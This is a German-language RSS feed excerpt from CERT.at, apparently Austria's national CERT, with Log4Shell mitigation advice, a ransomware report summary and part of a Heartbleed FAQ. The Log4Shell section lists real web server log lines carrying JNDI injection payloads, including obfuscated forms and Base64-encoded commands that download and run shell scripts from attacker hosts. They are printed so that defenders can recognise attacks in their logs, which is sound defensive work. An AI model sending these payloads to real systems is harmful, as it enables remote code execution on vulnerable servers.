&lt;p class=&quot;block&quot;&gt;Diese Mitigation wird f&amp;uuml;r log4j Versionen vor &lt;span style=&quot;text-decoration: line-through;&quot;&gt;2.10.0&lt;/span&gt; 2.16.0 ben&amp;ouml;tigt&lt;span style=&quot;text-decoration: line-through;&quot;&gt;, da andere Mitigationen wie das Setzen von Umgebungsvariablen, oder Startparametern erst ab Version 2.10.0 und h&amp;ouml;her Abhilfe schaffen&lt;/span&gt; , wenn nicht gepatcht werden kann.&lt;/p&gt;&#13;
&lt;ul&gt;&#13;
&lt;li&gt;.jar/.war/.ear-File entpacken&lt;/li&gt;&#13;
&lt;li&gt;Entfernen der Komponente &lt;code&gt;JndiLookup.class&lt;/code&gt;&lt;/li&gt;&#13;
&lt;li&gt;Erneutes Packen der verbleibenden Komponenten&lt;/li&gt;&#13;
&lt;/ul&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Achtung: Diese Mitigation verursacht unter Umst&amp;auml;nden Fehler in der betriebenen Applikation, da Komponenten aus dem zugeh&amp;ouml;rigen .jar-File entfernt wurden (java.lang.ClassNotFoundException)&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;h3&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;JVM-Startparameter&lt;/span&gt;&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;Wenn die betriebene Applikation betroffen ist, und momentan nicht durch Patches repariert werden kann, ist es m&amp;ouml;glich die JVM mit folgendem Parameter zu starten, um das Aufl&amp;ouml;sen von &lt;code&gt;${jndi://...}&lt;/code&gt;-Direktiven zu verhindern: &lt;code&gt;java -Dlog4j2.formatMsgNoLookups=true&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&#13;
&lt;h3&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;Umgebungsvariablen&lt;/span&gt;&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;Das Aufl&amp;ouml;sen von JNDI-Direktiven kann auch &amp;uuml;ber das Setzen folgender Umgebungsvariable ebenfalls unterbunden werden: &lt;code&gt;LOG4J_FORMAT_MSG_NO_LOOKUPS=true&lt;/code&gt; Diese Variable muss in der Umgebung gesetzt werden, welche durch die JVM genutzt wird.&lt;/span&gt;&lt;/p&gt;&#13;
&lt;div style=&quot;margin-left: 20px; border-left: solid black 1px; padding-left: 5px;&quot;&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Update: 29. Dezember 2021&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;p&gt;Laut den aktualisierten &lt;a title=&quot;https://logging.apache.org/log4j/2.x/security.html&quot; href=&quot;https://logging.apache.org/log4j/2.x/security.html&quot;&gt;Patch Notes&lt;/a&gt; von Apache, ist die Sicherheitsl&amp;uuml;cke CVE-2021-44832 in den folgenden Versionen behoben:&lt;/p&gt;&#13;
&lt;ul&gt;&#13;
&lt;li class=&quot;block&quot;&gt;Log4j 2.3.2 (Java 6), 2.12.4 (Java 7), und 2.17.1 (Java 8 und h&amp;ouml;her)&lt;/li&gt;&#13;
&lt;/ul&gt;&#13;
&lt;/div&gt;&#13;
&lt;h2&gt;Live-Artefakte&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Folgende, anonymisierte Ausz&amp;uuml;ge eines Log-Files wurden uns zugespielt. So k&amp;ouml;nnte ein Angriff auf ihrem System in den Log-Files aussehen:&lt;/p&gt;&#13;
&lt;pre&gt;185.220.100.255 - - [10/Dec/2021:14:50:33 +0100] &quot;GET / HTTP/1.1&quot; 301 516 &quot;-&quot; &quot;${jndi:ldap://46acb4a3635f.bingsearchlib.com:39356/a}&quot;&#13;
45.155.205.233 - - [10/Dec/2021:15:23:34 +0100] &quot;GET / HTTP/1.1&quot; 200 10004 &quot;-&quot; &quot;${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}&quot;&#13;
157.245.109.75 - - [10/Dec/2021:17:13:54 +0100] &quot;GET / HTTP/1.1&quot; 200 10220 &quot;-&quot; &quot;${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}&quot;&#13;
157.245.109.75 - - [10/Dec/2021:17:13:55 +0100] &quot;GET /favicon.ico HTTP/1.1&quot; 404 521 &quot;-&quot; &quot;${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}&quot;&#13;
45.155.205.233 - - [10/Dec/2021:19:49:58 +0100] &quot;GET / HTTP/1.1&quot; 200 10004 &quot;-&quot; &quot;${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}&quot;&#13;
188.166.122.43 - - [10/Dec/2021:21:01:44 +0100] &quot;GET / HTTP/1.1&quot; 200 10240 &quot;-&quot; &quot;${jndi:ldap://a8fvkc.dnslog.cn/a}&quot;&#13;
188.166.122.43 - - [10/Dec/2021:21:01:44 +0100] &quot;GET / HTTP/1.1&quot; 301 572 &quot;-&quot; &quot;${jndi:ldap://a8fvkc.dnslog.cn/a}&quot;&#13;
188.166.122.43 - - [10/Dec/2021:21:01:45 +0100] &quot;GET /favicon.ico HTTP/1.1&quot; 404 523 &quot;-&quot; &quot;${jndi:ldap://a8fvkc.dnslog.cn/a}&quot;&#13;
167.71.13.196 - - [10/Dec/2021:22:02:18 +0100] &quot;GET /$%7Bjndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b%7D?${jndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b}=${jndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b} HTTP/1.1&quot; 404 5031 &quot;-&quot; &quot;${jndi:ldaps://8bb9213c.probe001.log4j.leakix.net:32344/b}&quot;&#13;
188.166.48.55 - - [11/Dec/2021:01:37:29 +0100] &quot;GET / HTTP/1.1&quot; 301 572 &quot;-&quot; &quot;${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}&quot;&#13;
188.166.48.55 - - [11/Dec/2021:01:37:30 +0100] &quot;GET / HTTP/1.1&quot; 200 10240 &quot;-&quot; &quot;${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}&quot;&#13;
188.166.48.55 - - [11/Dec/2021:01:37:31 +0100] &quot;GET /favicon.ico HTTP/1.1&quot; 404 523 &quot;-&quot; &quot;${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}&quot;&#13;
45.137.21.9 - - [11/Dec/2021:03:36:47 +0100] &quot;POST / HTTP/1.1&quot; 301 535 &quot;-&quot; &quot;${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}&quot;&#13;
47.102.199.233 - - [11/Dec/2021:11:19:43 +0100] &quot;GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1&quot; 404 5196 &quot;-&quot; &quot;curl/7.58.0&quot;&#13;
157.230.32.67 - - [11/Dec/2021:17:20:26 +0100] &quot;GET / HTTP/1.1&quot; 301 572 &quot;-&quot; &quot;${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}&quot;&#13;
157.230.32.67 - - [11/Dec/2021:17:20:28 +0100] &quot;GET / HTTP/1.1&quot; 200 10240 &quot;-&quot; &quot;${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}&quot;&#13;
157.230.32.67 - - [11/Dec/2021:17:20:28 +0100] &quot;GET /favicon.ico HTTP/1.1&quot; 404 523 &quot;-&quot; &quot;${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}&quot;&#13;
217.112.83.246 - - [11/Dec/2021:18:10:13 +0100] &quot;GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1&quot; 404 5191 &quot;-&quot; &quot;curl/7.58.0&quot;&#13;
139.59.224.7 - - [11/Dec/2021:18:24:20 +0100] &quot;GET / HTTP/1.1&quot; 200 9985 &quot;-&quot; &quot;${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}&quot;&#13;
167.71.13.196 - - [11/Dec/2021:21:55:10 +0100] &quot;GET /$%7Bjndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b} HTTP/1.1&quot; 404 5031 &quot;-&quot; &quot;${jndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b}&quot;&#13;
139.59.224.7 - - [12/Dec/2021:00:25:01 +0100] &quot;GET / HTTP/1.1&quot; 301 516 &quot;-&quot; &quot;${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}&quot;&#13;
45.155.205.233 - - [12/Dec/2021:06:05:38 +0100] &quot;GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1&quot; 200 10008 &quot;http://203.0.113.4:80/?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}&quot; &quot;${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}&quot;&#13;
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175.6.210.66 - - [27/Dec/2021:21:04:12 +0100] &quot;GET / HTTP/1.1&quot; 200 30307 &quot;-&quot; &quot;${jndi:ldap://121.140.99.236:1389/Exploit}&quot;&#13;
164.90.235.177 - - [27/Dec/2021:21:22:45 +0100] &quot;GET / HTTP/1.1&quot; 301 516 &quot;${jndi:dns://89-22-120-248.scanworld.net/ref}&quot; &quot;${jndi:dns://89-22-120-248.scanworld.net/ua}&quot;&#13;
195.54.160.149 - - [28/Dec/2021:14:14:19 +0100] &quot;GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1&quot; 301 927 &quot;${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}&quot; &quot;${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}&quot;&#13;
195.54.160.149 - - [28/Dec/2021:14:14:19 +0100] &quot;GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1&quot; 200 10007 &quot;http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}&quot; &quot;${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}&quot;&#13;
195.54.160.149 - - [29/Dec/2021:01:23:22 +0100] &quot;GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1&quot; 200 10003 &quot;${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}&quot; &quot;${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}&quot;&#13;
&lt;/pre&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Disclaimer&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Die hier angef&amp;uuml;hrten Skripte und L&amp;ouml;sungen wurden sorgf&amp;auml;ltig seitens CERT.at gepr&amp;uuml;ft. Dennoch liegt die alleinige Verantwortung der Nutzung der hier angef&amp;uuml;hrten Informationen beim Nutzer/Nutzerin. Jegliche Haftung der CERT.at ist explizit ausgeschlossen.&lt;/p&gt;</description><pubDate>Tue, 14 Dec 2021 16:53:56 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2021/12/special-report-empfehlungen-zu-log4shell</guid><dc:creator>CERT.at</dc:creator><dc:date>2021-12-14T16:53:56Z</dc:date></item><item><title>Special Report: Empfehlungen zu Ransomware</title><link>https://www.cert.at/de/spezielles/2016/4/spezielles-20160325</link><description>25. M&amp;auml;rz 2016&lt;p /&gt;

In den letzten Monaten ist die Gef&amp;auml;hrdung durch Ransomware deutlich gestiegen. 
Mehrere Gruppen von Angreifern kompromittieren die PCs ihrer Opfer, 
verschl&amp;uuml;sseln dort die Dateien und verlangen Geld f&amp;uuml;r die Wiederherstellung der Daten.

&lt;p /&gt;

Wenn man unvorbereitet Opfer einer Ransomware geworden ist, 
gibt es keine wirklich guten Handlungsoptionen mehr. 
Es ist technisch fast nicht mehr m&amp;ouml;glich, seine Daten ohne Hilfe der Angreifer wiederherzustellen.

&lt;p /&gt;
Daher sind die einzigen wirksamen Ma&amp;szlig;nahmen gegen Ransomware proaktiv: 
Regelm&amp;auml;&amp;szlig;ige, gut implementierte Sicherheitskopien reduzieren den m&amp;ouml;glichen Schaden 
und diverse Vorkehrungen k&amp;ouml;nnen die Wahrscheinlichkeit eines Vorfalls deutlich reduzieren.

&lt;p /&gt;
Es gibt kein Patentrezept gegen Ransomware. 
Auch gibt es wenig Hoffnung, dass diese Bedrohung in absehbarer Zeit verschwinden wird. 
Jeder Betreiber von Computern, vom privaten Heim-PC bis hin zu gro&amp;szlig;en Firmennetzen 
sollte sich daher dieser Gefahr bewusstwerden und entsprechende Ma&amp;szlig;nahmen treffen.

&lt;p /&gt;

Dieses Dokument gibt dazu Hintergrundinformation und konkrete Handlungsvorschl&amp;auml;ge.
&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;Report&lt;/i&gt;&lt;br&gt;&lt;a href='/media/files/news/specials/20160325/files/20160325-cert.at-report-ransomware.pdf'&gt;http://www.cert.at/static/downloads/specials/20160325-cert.at-report-ransomware.pdf&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:10:02 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2016/4/spezielles-20160325</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:10:02Z</dc:date></item><item><title>Special Report: Heartbleed in &amp;Ouml;sterreich - 100 Tage danach</title><link>https://www.cert.at/de/spezielles/2014/9/spezielles-20140807</link><description>7. August 2014&lt;p /&gt;

Der &quot;Heartbleed&quot;  Bug in OpenSSL hat viele Systeme in &amp;Ouml;sterreich betroffen. Ein gro&amp;szlig;er Teil der
Systemverwalter hat prompt reagiert und ihre Server aktualisiert. Mit dem Start der domainbasierten
Messungen von CERT.at am 19. April 2014 waren unter der Top-level Domain &amp;Ouml;sterreichs (.at) 1850
Webserver (https, TCP Port 443) und 1000 Mailserver (smtp, TCP Port 25) verwundbar. Bis Ende Juli
2014 hat sich die Zahl auf 740 Webserver und 520 Mailserver rund halbiert. Bezogen auf alle Web- oder
Mailserver sind das 0,59 bzw. 0,73 Prozent. Von den untersuchten Servern die SSL/TLS
unterst&amp;uuml;tzen, sind das noch 1,31% (https) bzw. 1,28% (smtp).

&lt;p /&gt;

Ende Juli sind noch 2030 .at - Domains bei https, und 1740 bei smtp f&amp;uuml;r Heartbleed anf&amp;auml;llig.

&lt;p /&gt;

Die Zahlen zeigen, dass die Kombination aus einem nationalen CERT, das Informationen &amp;uuml;ber
Sicherheitsprobleme einholt und weitergibt, und einer gut funktionierenden Abuse-Abteilung bei
ISPs, einen deutlichen, messbaren und positiven Effekt auf die Netzwerksicherheit hat.

&lt;p /&gt;

Als Seiteneffekt dieser Messungen ergaben sich auch Werte, wie weit unter .at der Einsatz von
verschl&amp;uuml;sselter Daten&amp;uuml;bertragung angeboten wird. So etwa erlauben 79% der .at  Domains die
&amp;Uuml;bermittlung von Email mittels SMTP/STARTTLS.&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;Report&lt;/i&gt;&lt;br&gt;&lt;a href='/media/files/news/specials/20140807/files/20140807-heartbleed.pdf'&gt;http://www.cert.at/static/downloads/specials/20140807-heartbleed.pdf&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:10:02 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2014/9/spezielles-20140807</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:10:02Z</dc:date></item><item><title>Special Report: Heartbleed FAQ</title><link>https://www.cert.at/de/spezielles/2014/5/spezielles-20140411</link><description>11. April 2014
&lt;p /&gt;

(Diese FAQ wird laufend aktualisiert.)

&lt;p&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-14: Aktuelle Zahlen&lt;/b&gt;
&lt;p&gt;Aktuelle Hochrechnungen ergeben, dass 2.300-2.400 Webserver mit IP Adressen aus dem &amp;ouml;sterreichischen IP Adressbereich (laut RIPE.net) noch von Heartbleed betroffen sind.
&lt;/p&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-17&lt;/b&gt;
&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#zahlen&quot;&gt;Aktuelle Zahlen&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#welchesoftware&quot;&gt;Welche Software ist betroffen&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#links&quot;&gt;Weiterf&amp;uuml;hrende Links&lt;/a&gt;&lt;/li&gt;
   &lt;/ul&gt;
&lt;/p&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-18&lt;/b&gt;
&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#links&quot;&gt;Weiterf&amp;uuml;hrende Links&lt;/a&gt; um ARGE Daten erweitert&lt;/li&gt;
   &lt;/ul&gt;
&lt;/p&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-23 08:30&lt;/b&gt;
&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#zahlen&quot;&gt;Aktuelle Zahlen&lt;/a&gt; (erweitert um Mailserver)&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#links&quot;&gt;Weiterf&amp;uuml;hrende Links&lt;/a&gt;&lt;/li&gt;
   &lt;/ul&gt;
&lt;/p&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-23 19:15&lt;/b&gt;
&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#links&quot;&gt;Weiterf&amp;uuml;hrende Links&lt;/a&gt;&lt;/li&gt;
   &lt;/ul&gt;
&lt;/p&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-24&lt;/b&gt;
&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#links20140424&quot;&gt;Weiterf&amp;uuml;hrende Links&lt;/a&gt; erweitert um McAfee&lt;/li&gt;
   &lt;/ul&gt;
&lt;/p&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-25&lt;/b&gt;
&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#links20140425&quot;&gt;Weiterf&amp;uuml;hrende Links&lt;/a&gt; erweitert um Siemens, Opera und Hitachi&lt;/li&gt;
   &lt;/ul&gt;
&lt;/p&gt;&lt;/div&gt;

&lt;h2&gt;Was ist die &quot;Heartbleed&quot; Problematik?&lt;/h2&gt;

Durch einen Fehler in &lt;a href=&quot;https://www.openssl.org/&quot;&gt;OpenSSL&lt;/a&gt;
k&amp;ouml;nnen Angreifer Teile des Hauptspeichers eines 
betroffenen Systems (in Schritten von 64kB) auslesen. Dadurch war es in den 
letzten Jahren - und ist es je nach Server nach wie vor - Angreifern m&amp;ouml;glich, 
an diverse sensible Informationen zu gelangen.

Dazu geh&amp;ouml;ren unter anderem:
&lt;ul&gt;
	&lt;li&gt;&amp;uuml;bertragene Benutzerdaten wie
&lt;ul&gt;
	&lt;li&gt;Username/Passwort&lt;/li&gt;
	&lt;li&gt;Kreditkarten-Nummern&lt;/li&gt;
	&lt;li&gt;Session-Cookies&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
	&lt;li&gt;Private Keys (Zur Identifikation des Webservers)&lt;/li&gt;
&lt;/ul&gt;

Eine ausf&amp;uuml;hrliche Beschreibung des Problems findet sich auf &lt;a title=&quot;http://heartbleed.com/&quot; 
href=&quot;http://heartbleed.com/&quot; target=&quot;_blank&quot;&gt;http://heartbleed.com/&lt;/a&gt; (englisch) 
sowie in unserer &lt;a title=&quot;https://www.cert.at/de/meldungen/warnungen/warnungen-20140408&quot; 
href=&quot;https://www.cert.at/de/meldungen/warnungen/warnungen-20140408&quot; target=&quot;_blank&quot;&gt;Warnung&lt;/a&gt; oder
im &lt;a href=&quot;http://www.sba-research.org/wp-content/uploads/2014/04/HeartbleedWhitepaperv02.pdf&quot;&gt;Whitepaper der SBA-Research&lt;/a&gt;. 

&lt;p&gt;

Eine Erkl&amp;auml;rung des Fehlers als Cartoon findet man auf &lt;a href=&quot;https://xkcd.com/1354/&quot;&gt;xkcd&lt;/a&gt;.

&lt;h2 id=&quot;zahlen&quot;&gt;Aktuelle Zahlen&lt;/h2&gt;
&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-17&lt;/b&gt;&lt;br&gt;
Geht man von den ca. 1,2 Mio. .at Domains aus, so kommt man mit einer einfachen Heuristik 
(domain selber, www.domain, secure.domain) auf rund 120.000 Webserver, von denen grob 55.000 auch HTTPS
sprechen. Testet man diese auf Heartbleed, so sind noch 1.900 verwundbar.
&lt;p&gt;
Rechnet man in Domains und nicht in Webservern, so kommt man auf 470.000 Domains, auf deren Webserver HTTPS
aktiv ist. Diese verteilen sich so auf die verwundbaren Webserver, dass potentiell noch 5.800 .at-Domains von
Heartbleed betroffen sind.
&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-23&lt;/b&gt;&lt;br&gt;
Aktuelle Tests ergeben 1.680 verwundbare Webserver und 951 verwundbare Mailserver (STARTTLS).
&lt;p&gt;
Auf .at-Domains umgelegt sind das 4.904 Domains mit verwundbaren Webservern und 4.086 mit verwundbaren Mailservern.
&lt;/div&gt;

&lt;h2&gt;Wie kommt es zu dem Namen &quot;Heartbleed&quot;?&lt;/h2&gt;

Der Fehler liegt in der Implementation der TLS-Erweiterung namens &quot;Heartbeat&quot;. 
&quot;Heartbleed&quot; ergab sich dabei als Wortspiel mit &quot;bleed&quot; also &quot;bluten&quot;.

&lt;h2&gt;Wie schwerwiegend ist das Problem wirklich?&lt;/h2&gt;

Die Bewertung dieser Schwachstelle h&amp;auml;ngt von den Antworten zu zwei Fragen ab:

&lt;ul&gt;
&lt;li&gt;Wurde die L&amp;uuml;cke schon vor der Ver&amp;ouml;ffentlichung ausgenutzt?
&lt;p&gt;
Dazu gibt es keine gesichterten Erkenntnisse. Falls nicht, war das Fenster f&amp;uuml;r 
Angreifer ziemlich kurz, und es w&amp;auml;ren maximal die User von verwundbaren Diensten 
betroffen, die im heiklen Zeitfenster die Webseite besuchten.
&lt;p&gt; 
Falls diese L&amp;uuml;cke aber schon l&amp;auml;nger bekannt und ausgenutzt wurde -- wie das etwa
ein &lt;a href=&quot;http://www.bloomberg.com/news/2014-04-11/nsa-said-to-have-used-heartbleed-bug-exposing-consumers.html&quot;
&gt;Bloomberg-Bericht&lt;/a&gt; behauptet -- dann ist wirklich global Feuer am Dach.

&lt;/li&gt;
&lt;li&gt;
Ist wirklich das Auslesen der privaten Schl&amp;uuml;ssel des Webserver m&amp;ouml;glich?
&lt;p&gt;
Zu dieser Frage gibt es widerspr&amp;uuml;chliche Aussagen: Es gibt Berichte, dass
dies bei Webservern m&amp;ouml;glich ist, laut einem &lt;a href=&quot;http://blog.cloudflare.com/answering-the-critical-question-can-you-get-private-ssl-keys-using-heartbleed&quot;&gt;Artikel von CloudFlare&lt;/a&gt; ist das
aber auf Apache und die ersten Requests nach einem Neustart beschr&amp;auml;nkt.
&lt;p&gt;
Hat CloudFlare recht, dann ist die Gefahr von gestohlenen privaten Schl&amp;uuml;sseln
deutlich geringer als initial bef&amp;uuml;rchtet.
&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-17&lt;/b&gt;&lt;br&gt;
Cloudflare hat dazu eine eigene &quot;Challenge&quot; veranstaltet, und bei dieser wurden tats&amp;auml;clich die Private Keys ausgelesen.
Siehe &lt;a href=&quot;http://blog.cloudflare.com/the-results-of-the-cloudflare-challenge&quot;&gt;Cloudflare Blog Eintrag&lt;/a&gt;.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;

Die folgenden Empfehlungen gehen vom &quot;worst case&quot; aus. 

&lt;h2 id=&quot;welchesoftware&quot;&gt;Welche Software ist betroffen?&lt;/h2&gt;
&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-17&lt;/b&gt;&lt;br&gt;
Die Kollegen von NCSC/CERT.fi haben dazu eine umfangreiche Liste zusammengestellt: 
&lt;a href=&quot;https://www.cert.fi/en/reports/2014/vulnerability788210.html&quot;&gt;https://www.cert.fi/en/reports/2014/vulnerability788210.html&lt;/a&gt;.
&lt;p&gt;
